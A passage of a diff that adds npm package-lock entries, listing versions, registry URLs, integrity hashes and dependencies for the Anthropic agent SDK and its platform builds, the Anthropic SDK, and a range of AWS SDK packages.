">=18.17" + } + }, + "node_modules/@alcalzone/ansi-tokenize": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@alcalzone/ansi-tokenize/-/ansi-tokenize-0.3.1.tgz", + "integrity": "sha512-cUD0PT0YX+rImRhfn7BfMRduP/tX/Zqt/N0dHlAyn2RlcJssCb5KsCJkhln61eh9vuJDkH8wKn3L8zJzzWXPFg==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@anthropic-ai/claude-agent-sdk": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.263.tgz", + "integrity": "sha512-0QWoHgWWlSmgXfEqZRbVYRoXT9p4tx/yKaZ4eLJ8l1MR65SIvMGR+cd5ZXUpGYZpj9RzbYiYU9LoFg90mdIjmw==", + "license": "SEE LICENSE IN README.md", + "optional": true, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "@anthropic-ai/claude-agent-sdk-darwin-arm64": "0.3.263", + "@anthropic-ai/claude-agent-sdk-darwin-x64": "0.3.263", + "@anthropic-ai/claude-agent-sdk-linux-arm64": "0.3.263", + "@anthropic-ai/claude-agent-sdk-linux-arm64-musl": "0.3.263", + "@anthropic-ai/claude-agent-sdk-linux-x64": "0.3.263", + "@anthropic-ai/claude-agent-sdk-linux-x64-musl": "0.3.263", + "@anthropic-ai/claude-agent-sdk-win32-arm64": "0.3.263", + "@anthropic-ai/claude-agent-sdk-win32-x64": "0.3.263" + }, + "peerDependencies": { + "@anthropic-ai/sdk": ">=0.93.0", + "@modelcontextprotocol/sdk": "^1.29.0", + "zod": "^4.0.0" + } + }, + "node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.263.tgz", + "integrity": "sha512-H4eLd4Tkx3rJkt739CHb+9AcaKiiOpibU4tYsmma47mV+2zAPjUyFxpuE2N57VSmpAgbLQxu44du0TFN+UH5dg==", + "cpu": [ + "arm64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-darwin-x64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.263.tgz", + "integrity": "sha512-jKwmfkem1s/TcK7u83cJf2zLHMz846irV4vqYGUlo74uX2qfX57R4UsrCMlcTUMou/U9vQyNCc/Kk0s+zSxYRg==", + "cpu": [ + "x64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.263.tgz", + "integrity": "sha512-2KPY1wu1hdjpVsw+Tg3i50uhxhhetO1fB24wjUJAQJ8YPSogqO32UbtYPJ6I3F17lBNHb/Mq3nRYGAuSU5yjtg==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64-musl": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.3.263.tgz", + "integrity": "sha512-TiOmi9mqYvu3uGgM+0eQrUQzgXb7pgTzqahtRyEjpJrNigddGoANHcbNKL7P7y4etJpyIuYXGuVh5SLJzySYVA==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.3.263.tgz", + "integrity": "sha512-un7HJzTT+DSQLgM33emQ0qHAwIY3CXIwe8JXoD9PaT7pdLepK4Ffa4r5j84pHTVS5uoGqxcf196tBgqb5/Z7FA==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64-musl": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.3.263.tgz", + "integrity": "sha512-PWctt/XjebBxtI37i2xx2OMxSscPMnKmxU82MWdtIvoAyJ40U5yfqpm92fm45R02eLn9j4LQpvNocVTcRAHv+g==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-win32-arm64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.3.263.tgz", + "integrity": "sha512-n8owOwNSSi7/KpONb/ut+uXRjBIp9N6EjwADiB+YygPwGRtpWP+PR/qFsGdTVBE5cpPwhgKVAf27xEZEfNvcSQ==", + "cpu": [ + "arm64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-win32-x64": { + "version": "0.3.263", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.3.263.tgz", + "integrity": "sha512-EwqzsOLxIJTX6RIXtQ21ekOKmYBNfwbtGtqaPqdWZGzpMbHaie8kGsM630h9RFaoxeytS/jbg8B3fPCdUKfhPw==", + "cpu": [ + "x64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.124.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.124.0.tgz", + "integrity": "sha512-cN5O8i9UVxHeOQAzj/XjshWXG8KiibJDw9OGpH2Z/eR3n/RBxdoLxDJOcfqAJWvjaMDFfHTBADU04hWRJVkDyA==", + "license": "MIT", + "dependencies": { + "json-schema-to-ts": "^3.1.1", + "standardwebhooks": "^1.0.0" + }, + "bin": { + "anthropic-ai-sdk": "bin/cli" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@apidevtools/json-schema-ref-parser": { + "version": "16.0.3", + "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-16.0.3.tgz", + "integrity": "sha512-7lZp4XCTZhU/AgiGpIG+j4uJeWPdGbpQ+8wqXrzuHy+tboKsjSacjGH9/kNThRDIFhMWHF3ba+ejS8J3PeSI1Q==", + "license": "MIT", + "dependencies": { + "js-yaml": "^5.4.2", + "undici": "^8.10.2" + }, + "engines": { + "node": ">=22.19.0" + }, + "peerDependencies": { + "@types/json-schema": "^7.0.15" + } + }, + "node_modules/@apidevtools/json-schema-ref-parser/node_modules/js-yaml": { + "version": "5.4.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-5.4.2.tgz", + "integrity": "sha512-m+aqu+LwO1O6sIopafj8HUVl5aawITwZQe/yHpMCKjaWBaA/d07B/QdMb3529REftiU+RMMHL3Vlsw3hON7vWg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.mjs" + } + }, + "node_modules/@apidevtools/json-schema-ref-parser/node_modules/undici": { + "version": "8.11.2", + "resolved": "https://registry.npmjs.org/undici/-/undici-8.11.2.tgz", + "integrity": "sha512-u4UB2/IrKdU6lFxumHmmo1a3fCQO5tzQllRorfoRS63txhrB7xTpSn1PftwC4qEHkOaqP95fCWW4lJzwErwzhQ==", + "license": "MIT", + "engines": { + "node": ">=22.19.0" + } + }, + "node_modules/@aws-sdk/checksums": { + "version": "3.1001.1", + "resolved": "https://registry.npmjs.org/@aws-sdk/checksums/-/checksums-3.1001.1.tgz", + "integrity": "sha512-x12Q17KYlJAd3nKf8LV5LV0vt8sh8/6YfQLGPtrGnQf/tW4jqxPGq5GPpuVitpQYM3eUR4XB7CbxZf751NMbLw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-bedrock-agent-runtime": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-agent-runtime/-/client-bedrock-agent-runtime-3.1141.0.tgz", + "integrity": "sha512-jmg9DokYiQnlrqkWaI4714SQLb5kAFhyu7We8W8pWX50IAXWi2cpvgtnb9nCOKgH7drLtNwd/FBhGuu7UfovSw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-node": "^3.972.84", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-bedrock-runtime": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1141.0.tgz", + "integrity": "sha512-AoA3qW7HcFDa2MoZu9hozh68mBYI5KyvhHxN8Cbi5UtSTDDfq0JXW2fXGg7UzVNKVPRyRq2lrOQRzKPB1UEDxQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-node": "^3.972.84", + "@aws-sdk/eventstream-handler-node": "^3.972.35", + "@aws-sdk/middleware-eventstream": "^3.972.30", + "@aws-sdk/middleware-websocket": "^3.972.54", + "@aws-sdk/token-providers": "3.1141.0", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-s3": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.1141.0.tgz", + "integrity": "sha512-uOVH37xGLenAdJkCPCin/JJG2PgWrFcSsDnQ9+C9Zq8N9Oalo5ol4xmn5fG28iWAlA/b/9boQZgHbMh+UsIhcg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/checksums": "^3.1001.1", + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-node": "^3.972.84", + "@aws-sdk/middleware-sdk-s3": "^3.972.77", + "@aws-sdk/signature-v4-multi-region": "^3.996.47", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-sagemaker-runtime": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sagemaker-runtime/-/client-sagemaker-runtime-3.1141.0.tgz", + "integrity": "sha512-Zp//4Vv0xzjJP6BGDDbDvjirGPv2M69e6LcG2lMjQDMYEbUlae53B+XrklVj7q16OTLMwUMq+EvUEVKXubbd/A==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-node": "^3.972.84", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/core": { + "version": "3.978.1", + "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.978.1.tgz", + "integrity": "sha512-LbY9aGsEiznDWmUc30Nwv3aIX/+dbwTx8KfS0yOC3NPYMO+O91e6jkT1azf34FwjOndq8/Q+RcVVZz5xnerwdg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/types": "^3.974.6", + "@aws-sdk/xml-builder": "^3.972.41", + "@aws/lambda-invoke-store": "^0.3.0", + "@smithy/core": "^3.35.0", + "@smithy/signature-v4": "^5.7.3", + "@smithy/types": "^4.19.0", + "bowser": "^2.11.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-cognito-identity": { + "version": "3.972.71", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.972.71.tgz", + "integrity": "sha512-rsxsi8tF3vMGdWdaHQNXceHBdb49442yR2Pe08K+Phoc/yICbptdsHwL25Wf0z5+hjhSS5a+hDJHP7Xul4zvHQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.972.72", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.72.tgz", + "integrity": "sha512-xTKO/FWJPozTIXbozVnVGoNBhaGba8TBcx+KyUjRVeOlXE+dUc7GTR1cLvu0uTdIdmemzaFbqqCshXeZA1fZew==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-http": { + "version": "3.972.74", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.74.tgz", + "integrity": "sha512-u91E/hT8f4d1xy0Jl7VG4nVKJ3lxbrZkoBTeSVoJdWBiSEUMwMS/9+e0H/aJVQV//Lt5wuzP+E69v4aRSsNTmw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini": { + "version": "3.973.17", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.973.17.tgz", + "integrity": "sha512-ged4KXdBkvIC81bLvNHHuQKdKak/VXhQTR1NWYTTqW0474nlmsxy9O/vlgTIohDDWH3xpBdtVMZRyjb+DnocDA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-env": "^3.972.72", + "@aws-sdk/credential-provider-http": "^3.972.74", + "@aws-sdk/credential-provider-login": "^3.972.79", + "@aws-sdk/credential-provider-process": "^3.972.72", + "@aws-sdk/credential-provider-sso": "^3.973.16", + "@aws-sdk/credential-provider-web-identity": "^3.972.78", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/credential-provider-imds": "^4.5.2", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-login": { + "version": "3.972.79", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.79.tgz", + "integrity": "sha512-L+Z85anONJd8MaiuraO4wRxATCdEejBZ3K3eymzWI5JPXa9sOS9CkIm72PBKqXKX+Z9p9NGMX5AIMXm0LEflgw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-node": { + "version": "3.972.84", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.84.tgz", + "integrity": "sha512-oHt854odINVwzwsh+c5x69j0ajm4DbqqqVJ+O1ECsCIZeMDAbzFpXItaqP7UZstJj/ATdTk/KFSH0LaNAgV+kA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/credential-provider-env": "^3.972.72", + "@aws-sdk/credential-provider-http": "^3.972.74", + "@aws-sdk/credential-provider-ini": "^3.973.17", + "@aws-sdk/credential-provider-process": "^3.972.72", + "@aws-sdk/credential-provider-sso": "^3.973.16", + "@aws-sdk/credential-provider-web-identity": "^3.972.78", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/credential-provider-imds": "^4.5.2", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.972.72", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.72.tgz", + "integrity": "sha512-rLIp2xbMjX/k9/od7APpqq1ZgXXnV0pOL1Th3ZsL8Wu0TRtBsDTVS8iPqcfRFcHakFxPvR04OSTv2ka2qOb/2A==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.973.16", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.973.16.tgz", + "integrity": "sha512-IGihaJfFZYacJJr/odqILCoK7W/mvrZ7cuK7ECn3sAu4vLC6u0V8bS7mCGbdugJ8Aum2tnvqmx0F2MRFp2rn9g==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/token-providers": "3.1138.0", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { + "version": "3.1138.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1138.0.tgz", + "integrity": "sha512-GpyAr0DD63YOEmYFM6Df+gJuIgC92MMTiBK4FTKfxii5MJ9ge20epR7LyroulscYlG89J+ZB2ivFDPjvfQhzdw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity": { + "version": "3.972.78", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.78.tgz", + "integrity": "sha512-/y9WvNtlcPBGLR0qc1a+9J/xtYZfVczvLUOuXaVWylzttH7ewsxwHtjmiJSolNrVSDorIxHGHMU61CbonRkmwA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-providers": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-providers/-/credential-providers-3.1141.0.tgz", + "integrity": "sha512-NgnEx9d4QGxbtNW3qf/LUgKSm4svcexwxJH/ksEgYibqohq25SYULXk0lq7gzk25NRt6LA/B01MW68SGsgHUOg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/credential-provider-cognito-identity": "^3.972.71", + "@aws-sdk/credential-provider-env": "^3.972.72", + "@aws-sdk/credential-provider-http": "^3.972.74", + "@aws-sdk/credential-provider-ini": "^3.973.17", + "@aws-sdk/credential-provider-login": "^3.972.79", + "@aws-sdk/credential-provider-node": "^3.972.84", + "@aws-sdk/credential-provider-process": "^3.972.72", + "@aws-sdk/credential-provider-sso": "^3.973.16", + "@aws-sdk/credential-provider-web-identity": "^3.972.78", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/credential-provider-imds": "^4.5.2", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/eventstream-handler-node": { + "version": "3.972.35", + "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.35.tgz", + "integrity": "sha512-a8xilRoRaalvSPZdfrs0VY3/BPc0uYhXW56Z/k6nmZ5Vk430LHeowf9APIPq8utM3tMJSNGSSuJMlB9YrPsN+A==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-eventstream": { + "version": "3.972.30", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.30.tgz", + "integrity": "sha512-B6gvZlcnRBNWraKgyEjKsbhv+VjtbyHmpU7hmtTHzXpDSxHPpCJnYLpglEOOsF+SFne20DbZC5IVC1aNr2Pb4A==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-s3": { + "version": "3.972.77", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.77.tgz", + "integrity": "sha512-E7W2UOeUoc+lg3uIfR/dM7ZwusHwhBQrKMnlkRv4EXRR+C0YtV1pg25xC7GdZIhXH+NAMgZPCbE7o5to2cjFiw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/signature-v4-multi-region": "^3.996.47", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-websocket": { + "version": "3.972.54", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.54.tgz", + "integrity": "sha512-bhESdru8u8KosziH8jcVta/NM/dNreeRz2+2aU86si5bfBYOiJ6IiqD+9U4URUcU5WJO3Yw+jO3GLDIHlscXMQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/signature-v4": "^5.7.3", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@aws-sdk/nested-clients": { + "version": "3.997.46", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.46.tgz", + "integrity": "sha512-oRxtBcka/JGHGs9l9p9IVajGoTP8vTPmoAzdHGy4Qcy9P5vPnDf6nhIeM/COQNY9k/OahImTRaLkHftoXvfcmQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/signature-v4-multi-region": "^3.996.47", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/fetch-http-handler": "^5.8.0", + "@smithy/node-http-handler": "^4.12.1", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/signature-v4-multi-region": { + "version": "3.996.47", + "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.47.tgz", + "integrity": "sha512-Zk08macMvQTHzQJCLJVkOlviVoqwYMrpXv4lmLN7b7sAbiMoOK7Go0NYdR5UeF+MW8LIbRmwrNy9u/5VvX1U5g==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/types": "^3.974.6", + "@smithy/signature-v4": "^5.7.3", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/token-providers": { + "version": "3.1141.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1141.0.tgz", + "integrity": "sha512-ErZTCJEjGO9RLFxREEZ07HgDe2SunXkwdG+ZvMoIElVXDGG2krhGs+rEhbVjK6DlxzhQ6/YHMjoYmBxPnqWMsA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "@aws-sdk/nested-clients": "^3.997.46", + "@aws-sdk/types": "^3.974.6", + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/types": { + "version": "3.974.6", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.974.6.tgz", + "integrity": "sha512-v/clNZzZnDxGyvpHMOGpJKVXFAExJzUNAAjaWGdcx8QAcXLGwTaOkw33p5SHAi0YAioK32xB3hWwOekRVfmfKg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-format-url": { + "version": "3.972.48", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.972.48.tgz", + "integrity": "sha512-wo3g/4Bdt7KUBxomLA6AFHm/DSvkWfr2VJN2fi8skwAgHEZye+idsyHKsUlRI1mOIA+3kdXy2tVatBtm+twdgQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/core": "^3.978.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/xml-builder": { + "version": "3.972.41", + "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.41.tgz", + "integrity": "sha512-ctjVSyCMegrWfXlx6VqzSBFI6UqmQ5ZlnfMhdLIiWmhoH8UAQxSCP5N3OpG7X3k4LnS7ou74C4mt20+bfTW2aQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws/bedrock-token-generator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@aws/bedrock-token-generator/-/bedrock-token-generator-1.1.0.tgz", + "integrity": "sha512-i+DkWnfdA4j4sffy9dI4k3OGoOWqN8CTGdtO4IZ3c0kpKYFr6KyqzqLQmoRNrF3ACFcWj6u+J6cbBQ97j9wx5w==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@aws-sdk/credential-providers": "^3.525.0", + "@aws-sdk/util-format-url": ">=3.525.0", + "@smithy/config-resolver": "^4.1.4", + "@smithy/hash-node": ">=2.1.3", + "@smithy/invalid-dependency": "^4.0.4", + "@smithy/node-config-provider": "^4.1.3", + "@smithy/protocol-http": ">=3.2.1", + "@smithy/signature-v4": ">=2.1.3", + "@smithy/types": ">=2.11.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + 